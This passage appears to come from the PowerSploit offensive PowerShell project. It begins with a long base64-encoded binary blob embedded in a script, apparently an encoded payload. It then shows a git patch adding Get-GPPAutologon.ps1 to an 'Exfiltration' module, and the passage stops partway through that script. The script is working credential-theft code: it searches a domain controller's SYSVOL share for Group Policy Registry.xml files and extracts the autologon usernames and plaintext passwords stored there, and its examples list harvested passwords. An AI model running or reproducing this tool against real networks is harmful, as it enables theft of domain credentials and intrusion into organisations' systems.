E0wnjC9MMUw2jDzMAMxIDErMUAxSDFOMVMxZDF7MbAxuTG+McQx0zHZMQcyDzIWMiMyMTJoMm4ydDJ5Mo8yoTKyMroyyTLRMtwy5zLzMvgyBDMJMxQzTzNlM4kz3jMENCk0XzSrNLg0xDTKNM803jTjNOs08TT2NP00AzUINQ81FTUaNSE1JzUsNTM1OTU+NUU1SzVQNVc1XTViNWo1cDV6NYA1iTWSNZs1pDWtNbY1xzXMNdI13DXpNfA1/zUENgo2HTYiNik2LzZGNks2UTZXNmM2azZyNnc2fDaCNpA2lzadNrA2tTa7NsE2zTbVNto25jbzNvg2AzcJNw83FDchNyY3MTc3Nz03ejeFN4o3sDe3N/I3DTh7OJw4vTjyOB85sDn2OQs6EjonOjM6OzphOmc6bTqIOps6rTrLOtA64TrnOuw69Dr8Og47Ezs6O0U7WTtmO387hTuTO7A7uTvVO/Y7EjwaPCI8JzxCPGQ8dzyEPIs8mzyoPK08sjy3PLw8wTzSPNo85zztPPU8/DwEPQo9HD0nPSw9Mz08PUI9Uz1aPWs9cD2BPY09lD2bPaM9qT26PcU9yz3SPfg9DD4ePl0+iD6RPpk+pT6zPsE+zz7bPuA+9T4DPww/Oj8/P0k/YD8AAAAABQAYAQAALTBLMFowkjDDMJQxoTG2Me0x9jEAMhIyHTJQMngyhjKRMp0ypTLdMusy9zL+MhYzLTM/M0ozhzOpM7oz3TP1Myo0RDR3NJk0qjTNNOU0GjVYNXo1izWqNcI19zUsNjQ2PzZINls2ijaXNuc2PzdlN343lzeeN6U3rDftNyw4SzhgOIA4jTicOKM4uDjHOM445jj6OB05PDlDOUo5XjlyOZs5ujnBOcg53Dn3OSI6QTpIOmg6fjqiOtA69Tr7Ohs7TTtdO2Y7czt5O447lDupO7o7wjvIO9074zv+OwQ8Kjw3PEQ8TjxbPGg8sDzhPAQ9Jz1iPa49Fj44Plo+gD76Pgs/JD83P0c/fj+jP8o/AAAAEAUADAEAABYwNzA+MEkwkjC/MPIwDDEyMTsxgzGTMawxuTHGMdEx6DHvMTYyRDJZMmUyezK4MsIy2TL7MhQzMTNCM1wzczO9M4M0njQWNTI1ezW3NfI1QTZGNnc2DzcXNzQ3PjdaN2k3fzecN7A3xDfqN/o3Jjg2OEE4cjh5OIo4mjj1OAk5JjliOZ05zDnROeU58DkROhY6PDpcOmk6iDqPOsA60jrrOh87OztCO0o7WjtpO3g7hzubO6k7sDvEO9I75ztePG88dTyAPJQ8zzzjPBY9IT0pPTE9Qz1RPXQ9ez2EPZQ94j3yPfs9FD4ePjw+aD6RPqw+tD7GPtQ+lD+fP6U/uz/mPwAAACAFAFQBAAATMB4wJzA2MFAwvTDFMOkw8TD3MB0xJDEzMVkxYTFnMXgxgjGnMd8x+jEBMggyDzIUMiUyNjJAMlMycDJ3Mn8yjTKcMsYy6zITMxozIjNkM3MzhzMONBY0HDQqNDI0TzSgNM003TQCNSQ1TTVoNXg1fzWUNZs1rjW1Nco10TXhNes1BDYQNiA2KjZDNk82XzZpNoI2jDalNq82uzbCNts25TbxNvg2BDcLNxc3HjddN4837TcFODE4NjhlOHc4gTiIOI04njitODg5PTlXOX85jjmVOac5rjnlOfg5BDrAOu869zr9Ogo7UDt7Oxc8ITwoPE08cjyBPI48kzymPKs82zztPPc8/jwDPRQ9JD2BPag9wT3GPfk9Cz4SPhk+ID4lPjY+Rj5PPl0+bT56Pts+4D4MPx8/Jj8tPzQ/OT9KP1s/ZD+FP6w/vT8AAAAwBQBwAQAAIDBPMF8wdjCHMJgwnTC2MLswyDAVMTIxPDFKMVwxcTGvMcExezKuMvkyDDNqMy00XjStNMA00zTfNO80ADUmNTs1QjVINVo1ZDXCNc819jX+NRc2UTZsNng2hzaQNp02zDbUNuU26zbxNho3Szf2NxU4HzgwODw4RThKOHA4dTiaOKE4vjgAOQ45KTk0Obw5xTnNORQ6IzoqOmA6aTp2OoE6ijqdOqc6vTrGOtE62Dr4Ov46BDsKOxA7FjsdOyQ7KzsyOzk7QDtHO087VztfO2s7dDt5O387iTuTO6M7szvDO8w73DviO+g77jv0O/o7ADwGPAw8EjwYPB48JDwqPDA8Njw8PEI8SDxOPFQ8WjxgPGY8bDxyPHg8fjyEPIo8kDyWPJw8ojyoPK48tDy6PMA8xjzMPNI82DzePOQ86jzwPPY8/DwCPQg9Dj0UPRo9ID0mPSw9Mj04PT49RD1KPVY9DD7QPgAAAEAFAMAAAABUMWcxhTGTMUEzeDN/M4QziDOMM5Az5jMrNDA0NDQ4NDw0/zZ3N383kTfqNxU4tDgFO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cM5CzoTOhs63zrnOho7KTs4O3Q7sTvvOys8TzxmPG48lTyePPk9AT4VPvY++z4NP7w/yz/VPwAwBwAsAAAAPzBQMFcwZTB+MIowkTCjML8wFzGzMcMx0DHzMRgyHTIpMjUyAEAHAOwAAABYNmg2bDZwNnQ2gDaENog2xDbINsw20DbUNtg28Df0N/g3/DcAOAQ4CDgMOBA4FDgYOBw4IDgkOCg4LDgwODQ4ODg8OEA4RDhIOEw4UDhUOFg4XDhgOGQ4aDhsOHA4dDh4OHw4gDiEOIg4jDiQOJQ4mDicOKA4pDioOKw4sDi0OLg4vDjAOMQ4yDjMONA41DjYONw44DjkOOg47DjwOPQ4+Dj8OAA5BDkIOQw5EDkUORg5HDkgOSQ5KDksOTA5NDk4OTw5QDlEOUg5TDlQOVQ5WDlcOWA5ZDloOWw5cDl0OXg5fDkAUAcAOAAAAAA9CD0QPRQ9GD0cPSA9JD0oPSw9ND04PTw9QD1EPUg9TD1QPVw9ZD1oPWw9cD10PQBgBwDgAAAAiDKMMpAylDKYMpwyoDKkMqgyrDKwMrQyuDK8MsAyxDLIMswy0DLUMtgy3DLgMuQy6DLsMvAy9DL4MvwyADMEMwgzDDMQMxQzGDMcMyAzJDMoMywzMDM8M0AzRDNIM0wzUDNUM1gzXDNgM2QzaDNsM3AzdDN4M3wzgDOEM4gzjDOQM5QzmDOcM6AzpDOoM6wzsDO0M7gzvDPAM8QzyDPMM9Az1DPYM9wz4DPkM+gz8DP0M/gz/DMANAQ0CDQMNBA0FDQYNBw0IDQkNCg0LDQwNDQ0ODQ8NAAAAHAHANgBAAAsMjAyNDI4MpwypDKsMrQyvDLEMswy1DLcMuQy7DL0MvwyBDMMMxQzHDMkMywzNDM8M0QzTDNUM1wzZDNsM3QzfDOEM4wzlDOcM6QzrDO0M7wzxDPMM9Qz3DPkM+wz9DP8MwQ0DDQUNBw0JDQsNDQ0PDRENEw0VDRcNGQ0bDR0NHw0hDSMNJQ0nDSkNKw0tDS8NMQ0zDTUNNw05DTsNPQ0/DQENQw1FDUcNSQ1LDU0NTw1RDVMNVQ1XDVkNWw1dDV8NYQ1jDWUNZw1pDWsNbQ1vDXENcw11DXcNeQ17DX0Nfw1BDYMNhQ2HDYkNiw2NDY8NkQ2TDZUNlw2ZDZsNnQ2fDaENow2lDacNqQ2rDa0Nrw2xDbMNtQ23DbkNuw29Db8NgQ3DDcUNxw3JDcsNzQ3PDdEN0w3VDdcN2Q3bDd0N3w3hDeMN5Q3nDekN6w3tDe8N8Q3zDfUN9w35DfsN/Q3/DcEOAw4FDgcOCQ4LDg0ODw4RDhMOFQ4XDhkOGw4dDh8OIQ4jDiUOJw4pDisOLQ4vDjEOMw41DjcOOQ47Dj0OPw4BDkMORQ5HDkkOSw5NDk8OUQ5TDlUOVw5ZDlsOXQ5fDmEOYw5lDmcOaQ5rDm0OQCABwDQAQAAqDOwM7gzwDPIM9Az2DPgM+gz8DP4MwA0CDQQNBg0IDQoNDA0ODRANEg0UDRYNGA0aDRwNHg0gDSINJA0mDSgNKg0sDS4NMA0yDTQNNg04DToNPA0+DQANQg1EDUYNSA1KDUwNTg1QDVINVA1WDVgNWg1cDV4NYA1iDWQNZg1oDWoNbA1uDXANcg10DXYNeA16DXwNfg1ADYINhA2GDYgNig2MDY4NkA2SDZQNlg2YDZoNnA2eDaANog2kDaYNqA2qDawNrg2wDbINtA22DbgNug28Db4NgA3CDcQNxg3IDcoNzA3ODdAN0g3UDdYN2A3aDdwN3g3gDeIN5A3mDegN6g3sDe4N8A3yDfQN9g34DfoN/A3+DcAOAg4EDgYOCA4KDgwODg4QDhIOFA4WDhgOGg4cDh4OIA4iDiQOJg4oDioOLA4uDjAOMg40DjYOOA46DjwOPg4ADkIORA5GDkgOSg5MDk4OUA5SDlQOVg5YDloOXA5eDmAOYg5kDmYOaA5qDmwObg5wDnIOdA52DngOeg58Dn4OQA6CDoQOhg6IDooOjA6ODpAOkg6UDpYOmA6aDpwOng6gDqIOpA6mDqgOqg6sDq4OsA6AJAHAEwAAAC6NL40wjTGNFw+ZD5sPnQ+fD6EPow+lD6cPqQ+rD60Prw+xD7MPtQ+3D7kPuw+9D78PgQ/DD8UPxw/JD8sPzQ/PD8AAACgBwCkAQAAiDiUOKA4rDi4OMQ4zDjQONQ42DjcOOA45DjoOOw48Dj0OCA6KDowOjg6QDpIOlA6WDpgOmg6cDp4OoA6iDqQOpg6oDqoOrA6uDrAOsg60DrYOuA66DrwOvg6ADsIOxA7GDsgOyg7MDs4O0A7SDtQO1g7YDtoO3A7eDuAO4g7kDuYO6A7qDuwO7g7wDvIO9A72DvgO+g78Dv4OwA8CDwQPBg8IDwoPDA8ODxAPEg8UDxYPGA8ZDxoPGw8cDx0PHg8fDyAPIQ8iDyMPJA8lDyYPJw8oDykPKg8rDywPLQ8uDy8PMA8yDzQPNg84DzoPPA8+DwAPQg9ED0YPSA9KD0wPTg9QD1IPVA9WD1gPWg9cD14PYA9iD2QPZg9oD2oPbA9uD3APcg90D3YPeA96D3wPfg9AD4IPhA+GD4gPig+MD44PkA+SD5QPlg+YD5oPnA+eD6APog+kD6YPqA+qD6wPrg+wD7IPtA+2D7gPug+8D74PgA/CD8QPxg/ID8oPzA/OD9AP0g/UD9YP2A/aD9wP3g/kD+UP5g/nD+gPwCwBwCYAAAAEDAUMBgwHDAgMCQwKDAsMDAwNDA4MDwwQDC4MLwwwDDEMNgwCDEMMRAxFDEYMRwxIDEkMaQxqDGsMbAxvDHAMcQxyDHMMdAx1DHYMdwx4DHkMegx7DHwMfQxCDIENAg0DDQQNBQ0GDQcNCA0JDQoNDA0NDQ4NDw0UDTQNNQ02DTcNPA0yDXMNdA11DXoNQAAAMAHAIQAAAAIMQwxEDEUMSgxCDQMNBQ0GDQcNCA0JDQoNCw0MDQ0NDg0PDRANEQ0SDRMNFA0VDRYNFw0YDRkNGg0bDRwNKw6sDq0Org6vDrAOmA8ZDxoPGw8cDyUPJg8nDygPKQ8qDysPLA8tDy4PLw8wDzUPNg8pD6oPqw+sD68PgAAANAHABwAAACkPKg8rDywPLQ8uDy8PHQ9fD0AAADgBwBIAgAA5DHoMewx8DH0Mfgx/DGkMqgyrDKwMrQyuDK8Mrw1WDZcNmA2aDZwNnQ2eDZ8NoQ2iDaMNug37DfwN/Q3+Df8NwA4BDgIOAw4EDgUOBg4HDggOCQ4KDgsODA4NDg4ODw4QDhEOEg4TDhQOFQ4WDhcOGA4ZDhoOGw4cDh4OHw4gDiEOIg4jDiQOJQ4mDicOKA4pDioOKw4sDi0OLg4vDjAOMQ4yDjMONA41DjYONw44DjkOOg47DhwOnQ6eDp8OoA6hDqIOow6kDqUOpg6nDqgOqQ6qDqsOrA6tDq4Orw6wDrEOsg6zDrQOtQ62DrcOuA65DroOuw68Dr0Ovg6/DoAOwQ7CDsMOxA7FDsYOxw7IDskOyg7MDs0Ozg7PDtAO0Q7SDtMO1A7VDtYO1w7YDtkO2g7bDtwO3Q7gDuEO4g7wDvEO8g7zDsAPAQ8CDwMPBA8FDwYPBw8IDwkPCg8LDwwPDQ8ODw8PEA8TDxQPFQ8WDxcPGA8ZDxoPGw8hDyIPJQ8oDykPLA8vDzAPMg80DzYPNw84DzoPOw8+Dz8PAg9DD0YPRw9ID0oPSw9MD04PTw9QD1IPUw9WD1cPWg9bD14PXw9iD2MPZg9nD2oPaw9uD28Pcg9zD3YPdw94D3oPew98D34Pfw9AD4EPhA+ID4kPig+LD4wPjQ+OD48PkA+RD5IPkw+UD5UPlg+XD5gPmQ+aD5sPnA+dD54Pnw+gD6EPog+jD6QPpQ+mD6cPug+7D4cPyA/JD8oPyw/MD/gPwAAAPAHAPACAAAYMEAwRDBIMEwwUDBUMFgwXDBgMGQwaDBsMHAwdDB4MHwwgDCEMIgwjDCQMJgwnDCkMKgwrDCwMLQwuDDYMOAw5DDoMOww8DD0MAAxDDEQMRQxGDEcMSAxJDEoMSwxMDE0MTgxPDFAMUQxSDFMMVAxWDFcMWQxaDFwMXQxeDF8MYAxhDGIMYwxkDGUMZgxpDGwMbQxuDG8McAxxDHIMcwx0DHUMdgx3DHgMeQx6DHsMfAx9DH4MfwxADIEMggyDDIQMhQyGDIcMiAyLDI4MjwyQDJEMkgyTDJQMlQyWDJcMmAyZDJoMmwycDJ0MngyfDKAMoQyiDKMMpAynDKoMqwysDK0MrgyvDLAMsQyyDLMMtAy1DLYMtwy4DLkMugy7DLwMvQy+DL8MgAzBDMIMwwzGDMkMygzLDMwMzQzODM8M0AzTDNYM1wzYDNkM2gzbDNwM3QzeDN8M4AzhDOIM4wzkDOUM5gznDOgM6QzqDOsM7AztDO4M7wzwDPEM8gzzDPQM9Qz2DPgM/Az9DP4M/wzADQENAg0DDQQNBQ0GDQcNCA0JDQoNCw0MDQ0NDg0PDRANEw0WDRcNGA0ZDRoNGw0cDR0NHg0fDSANIQ0iDSMNJA0lDSYNJw0oDSkNKg0tDTANMQ0yDTMNNA03DToNOw08DT0NPg0/DQQNSg1QDVYNVw1cDV0NYg1jDWgNag1rDW4Nbw1wDXENcg1zDXkNeg19DUgNiQ2KDYsNjA2NDY4Njw2QDZENkg2TDZQNlQ2WDZcNmA2ZDZoNmw2cDZ0Nng2fDaANoQ2iDaMNpA2lDaYNpw2oDakNqg2rDawNrQ2uDa8NsA2xDbINsw20DbUNtg23DbgNuQ26DbsNvA29Db4Nvw2ADcENwg3DDcQNxQ3GDccNyA3JDcoNyw3MDc0Nzg3PDdAN0Q3SDdMN1A3VDdYN1w3YDdkN2g3bDd0N3g3fDe0OLg4CDnwPPQ8+Dz8PMQ9zD3QPeQ96D0AMAoAiAAAAPwwCDGkM6gztDO4M8QzyDPUM9gz5DPoM/Qz+DMENAg0FDQYNDg0WDR0NHg0lDSYNLg02DT4NAQ1IDVANWA1aDVsNYg1qDXENcg16DUINig2SDZoNog2qDbINug2CDcoN0g3aDeIN6g3yDfoNwg4KDhIOGg4iDioOMQ4yDjkOOg4AGAKAMwBAAAAMTAxQDFQMWAxcDGIMZQxmDGcMbgxvDH4MRg3KDcsNzA3NDc4Nzw3QDdEN0g3TDdYN1w3YDdkN2g3bDdwN3Q3+Df8N2A5aDlsOXA5dDmIOYw5kDmUOZg5nDmgOaQ5qDmwOcQ5zDnUOdw58Dn0Ofw5CDoUOhg6IDokOiw6MDo4Ojw6RDpIOlA6VDpcOmA6aDpsOnQ6gDqMOpA6mDqcOqQ6qDqwOrw6wDrIOsw61DrYOuA65DrsOvA6+Dr8OgQ7CDsQOxQ7HDsgOyg7LDs0O0A7RDtMO1A7WDtcO2Q7aDtwO3Q7fDuAO4g7jDuUO5g7oDukO6w7sDu4O7w7xDvIO9A71DvcO+A76DvsO/Q7+DsAPAw8GDwcPCQ8KDwwPDQ8PDxAPEg8TDxUPFg8YDxkPGw8cDx4PHw8hDyIPJA8lDycPKA8qDysPLQ8uDzAPMQ8zDzQPNg85DzoPPA89Dz8PAg9FD0gPSw9OD1EPVA9VD1cPWA9aD1sPXQ9gD2EPYw9mD2kPag9xD7MPtQ+4D7oPvA+/D4EPww/KD8wPzQ/OD88P1A/VD9YP1w/YD9kP2g/bD98P4Q/mD+gP7Q/vD/QP9g/7D/0PwBwCgB4AQAACDAQMCQwLDBAMEgwXDBkMHgwgDCcMLAwtDC4MMww1DDwMAQxCDEMMSAxKDE8MUQxWDFgMXQxfDGQMZgxrDG0Mcgx0DHkMewxADIIMhwyJDI4MkAyVDJcMnAyeDKMMpQyqDKwMsQyzDLgMugy/DIEMxgzIDM0MzwzUDNYM2wzdDOIM5AzpDOsM8AzyDPcM+Az5DP4M/wzADQUNBg0HDQwNDQ0ODRMNFA0VDRoNGw0cDSENIg0jDSYNKA0qDS0NLw0xDTQNNg04DT8NBg1LDU0NTw1QDVENUg1TDVQNVg1qDXkNSA2qDawNuQ27DYgNyg3XDdkN5g3oDfYN+A3FDgcOFA4WDjoOPA4JDksOWA5aDmcOaQ52DngORQ6HDpQOlg6lDqoOrA64DrwOvg6CDsQO0Q7TDuAO4g7vDvEO/g7ADwwPDg8QDyoPLA8+Dw0PXA9rD34PTQ+cD7QPuQ++D4IPxA/RD9MP4A/iD+8P8Q/AAAAgAoApAAAAFgwYDCUMJww0DDYMAwxFDF4MbQx8DEsMmQyaDKYMtQyGDNUM5AzzDMINEQ0eDSENPg0NDVwNaw16DUkNlg2XDZkNpg21DYQN1A3XDd8N4g3uDf0NzA4bDioOOQ4IDlcOaA5pDmsOdQ52DngOQg6PDpAOkg6eDqsOrA6uDroOiQ7YDucO9g73DvkOxg8VDyQPMw8CD1UPVg9YD0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=' if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") { From de955ef270e9ba5073038e035f00da696cb9688c Mon Sep 17 00:00:00 2001 From: Oddvar Moe Date: Mon, 21 Nov 2016 20:16:02 +0100 Subject: [PATCH 194/296] Added Get-GPPAutologon.ps1 --- Exfiltration/Exfiltration.psd1 | 3 +- Exfiltration/Get-GPPAutologon.ps1 | 139 ++++++++++++++++++++++++++++++ README.md | 8 ++ 3 files changed, 149 insertions(+), 1 deletion(-) create mode 100644 Exfiltration/Get-GPPAutologon.ps1 diff --git a/Exfiltration/Exfiltration.psd1 b/Exfiltration/Exfiltration.psd1 index da784937..a8cc1131 100644 --- a/Exfiltration/Exfiltration.psd1 +++ b/Exfiltration/Exfiltration.psd1 @@ -31,6 +31,7 @@ FunctionsToExport = '*' FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1', 'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1', 'Invoke-NinjaCopy.ps1', 'Invoke-TokenManipulation.ps1', 'Invoke-CredentialInjection.ps1', - 'VolumeShadowCopyTools.ps1', 'Get-VaultCredential.ps1', 'Get-VaultCredential.ps1xml' + 'VolumeShadowCopyTools.ps1', 'Get-VaultCredential.ps1', 'Get-VaultCredential.ps1xml', + 'Get-MicrophoneAudio.ps1', 'Get-GPPAutologon.ps1' } diff --git a/Exfiltration/Get-GPPAutologon.ps1 b/Exfiltration/Get-GPPAutologon.ps1 new file mode 100644 index 00000000..fd8978f1 --- /dev/null +++ b/Exfiltration/Get-GPPAutologon.ps1 @@ -0,0 +1,139 @@ +function Get-GPPAutologon +{ +<# +.SYNOPSIS + + Retrieves password from Autologon entries that are pushed through Group Policy Registry Preferences. + + PowerSploit Function: Get-GPPAutologon + Author: Oddvar Moe (@oddvarmoe) + Based on Get-GPPPassword by Chris Campbell (@obscuresec) - Thanks for your awesome work! + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +.DESCRIPTION + + Get-GPPAutologn searches the domain controller for registry.xml to find autologon information and returns the username and password. + +.EXAMPLE + + PS C:\> Get-GPPAutolgon + + UserNames File Passwords + --------- ---- --------- + {administrator} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {PasswordsAreLam3} + {NormalUser} \\ADATUM.COM\SYSVOL\Adatum.com\Policies\{... {ThisIsAsupaPassword} + + +.EXAMPLE + + PS C:\> Get-GPPAutologon | ForEach-Object {$_.passwords} | Sort-Object -Uniq + + password + password12 + password123 + password1234 + password1234$ + read123 + Recycling*3ftw! + +.LINK + + https://support.microsoft.com/nb-no/kb/324737 +#> + + [CmdletBinding()] + Param () + + #Some XML issues between versions + Set-StrictMode -Version 2 + + #define helper function to parse fields from xml files + function Get-GPPInnerFields + { + [CmdletBinding()] + Param ( + $File + ) + + try + { + $Filename = Split-Path $File -Leaf + [xml] $Xml = Get-Content ($File) + + #declare empty arrays + $Password = @() + $UserName = @() + + #check for password and username field + if (($Xml.innerxml -like "*DefaultPassword*") -and ($Xml.innerxml -like "*DefaultUserName*")) + { + $props = $xml.GetElementsByTagName("Properties") + foreach($prop in $props) + { + switch ($prop.name) + { + 'DefaultPassword' + { + $Password += , $prop | Select-Object -ExpandProperty Value + } + + 'DefaultUsername' + { + $Username += , $prop | Select-Object -ExpandProperty Value + } + } + + Write-Verbose "Potential password in $File" + } + + #put [BLANK] in variables + if (!($Password)) + { + $Password = '[BLANK]' + } + + if (!($UserName)) + { + $UserName = '[BLANK]' + } + + #Create custom object to output results + $ObjectProperties = @{'Passwords' = $Password; + 'UserNames' = $UserName; + 'File' = $File} + + $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties + Write-Verbose "The password is between {} and may be more than one value." + if ($ResultsObject) + { + Return $ResultsObject + } + } + } + catch {Write-Error $Error[0]} + } + + try { + #ensure that machine is domain joined and script is running as a domain account + if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) { + throw 'Machine is not a domain member or User is not a member of the domain.' + } + + #discover potential registry.xml containing autologon passwords + Write-Verbose 'Searching the DC. This could take a while.' + $XMlFiles = Get-ChildItem -Path "\\$Env:USERDNSDOMAIN\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Registry.xml' + + if ( -not $XMlFiles ) {throw 'No preference files found.'} + + Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords." + + foreach ($File in $XMLFiles) { 